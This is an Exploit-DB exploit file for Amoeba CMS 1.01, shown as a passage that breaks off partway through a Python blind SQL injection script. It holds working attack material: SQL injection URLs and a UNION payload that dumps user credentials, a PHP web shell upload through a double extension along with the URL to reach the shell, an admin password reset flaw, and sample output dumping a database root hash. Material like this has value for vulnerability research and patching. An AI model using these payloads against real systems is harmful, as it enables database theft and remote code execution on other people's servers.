Exploit-DB #15893
Description: amoeba CMS 1.01 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-01-02
Author: mr_me

Exploit:
#!/usr/bin/python

"""
Amoeba CMS v1.01 multiple remote vulnerabilities:
Vendor: http://www.amoebacms.com/
Found by: mr_me
Contact date: 20/12/2010 2:37pm EST

SQL Injection:
=============
There is quite a few instances of pre/post auth SQL Injection in the web application. In one particular SQLi the attacker 
controlled input is being used for multiple queries, and as such seems to fail on the second query when using the _ character. 
This character is used as a wildcard in the second query as per the MySql manual. Therefore stealing data from the 'amb_users'
table may prove difficult. Additionaly, order by SQL Injection is present, which doubles the fun :0)

Pre-auth SQL Injection PoC (refer below to an automated working PoC):
---------------------------------------------------------------------
http://[target]/[path]/index.php?mod=cat&com=news&cpID=1+or+1=1 << true
http://[target]/[path]/index.php?mod=cat&com=news&cpID=1+or+1=2 << false

Post-auth SQL Injection PoCs:
-----------------------------
These will require the attacker to obtain access to the backend somehow. 
Only one cookie is needed to reach this backend (ambid).

PoC 1:
------
POST /[PATH]/admin/index.php?mod=group&com=menu HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: ambid=5i5nrbl5d09f3ktqkh7sfe1s94
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

pageingsize=1+uNiOn+sEleCt+1,coNcAt(user_name,0x3a,users_password),3+from+amb_users--

PoC 2:
------
http://[target]/[path]/admin/index.php?mod=cat&com=gallery&cpID=1+or+1=1 << true
http://[target]/[path]/admin/index.php?mod=cat&com=gallery&cpID=1+or+1=2 << false

Shell Upload Vulnerability:
==========================
Interestingly enough, this application uses a whitelist extension approach which is stored in the database (amb_media_type)! 
Unfortunately/fortunately they still allow a '.whateva' extension in the filename, as long as it doesnt end in an extension 
that is not on the whitelist. As a fatality the attacker can upload content with 'malicious' code inside and 'get a shell' 
by using an Apache AddType directive. Once the request is made, the application will re-write the file to the original/ dir
using the php time() added into its name. See below:

PoC:
----
POST /webapps/amoeba2/admin/index.php?mod=manip&com=media&mediaType=IMAGE&name=lol.php.jpg HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: ambid=5pk8u31pobv3qr0tci03o7tog5
Content-Type: application/octet-stream
Content-Length: 31

<?PHP system($_GET['cmd']); ?>

Server Response:
----------------
{"jsonrpc" : "2.0", "result" : null, "chunk" : "0", "chunks" : "0", "name" : "lol.php[PII_REDACTED].jpg", "id" : "id"}

Then we can access our shell at:
http://[target]/[path]/media/original/lol.php[PII_REDACTED].jpg?cmd=id 

Logic Flaws:
===========
Password disclosure & password reset:
--------------------
Password hash disclosure in the admin console. Just change uID to whateva your current uID once you have stolen the admin cookie.
Additionaly you can reset the admins password, without actually knowing the password. o_O Suprise surpise, its the same link:

PoC:
---
http://[target]/[path]/admin/index.php?mod=list&com=user&uID=2&action=edit

"""

# Amoeba CMS v1.0.1 Remote Blind SQL Injection Exploit
# ----------------------------------------------->
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# ----------------------------------------------->
# 8 queries per char, much much cleaner.
#
# [mr_me@pluto amoeba]$ python amoeba0day.py -p 127.0.0.1:8080 -s 'whateva' -t 192.168.1.15 -d /webapps/amoeba2/
# 
#	| --------------------------------------------- |
#	| Amoeba CMS Remote Blind SQL Injection Exploit |
#	| by mr_me - net-ninja.net -------------------- |
#
# (+) Exploiting target @: http://192.168.1.15/webapps/amoeba2/
# (+) Testing Proxy @ 127.0.0.1:8080..
# (+) Proxy is working!
# (+) Using string 'whateva' for the true page
# (+) This will take time, go grab a coffee..
#
# (!) Getting database version: 5.1.41-3ubuntu12.8
# (!) Getting database user: root@localhost
# (!) Getting database name: amoeba2
# (!) w00t! You have access to MySQL database!
# (+) Dumping hashs hold onto your knickers..
# (+) The username and hashed password is: root:*EE4E2773D[PII_REDACTED]F0DC6FCE27446A51C9413
# (+) PoC finished.

import sys, urllib, re
from optparse import OptionParser

# all possible decimal values of printable ascii characters
# 8 requests per char, much much cleaner.
lower_value = 0
upper_value = 126

vuluri = "index.php?mod=cat&com=news&cpID=1"
basicInfo = {'version':'version()', 'user':'user()', 'name':'database()'}

usage = "./%prog [<options>] -s [true string] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -s 'Author:' -t 192.168.2.15 -d /amoeba/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="directory",
                  h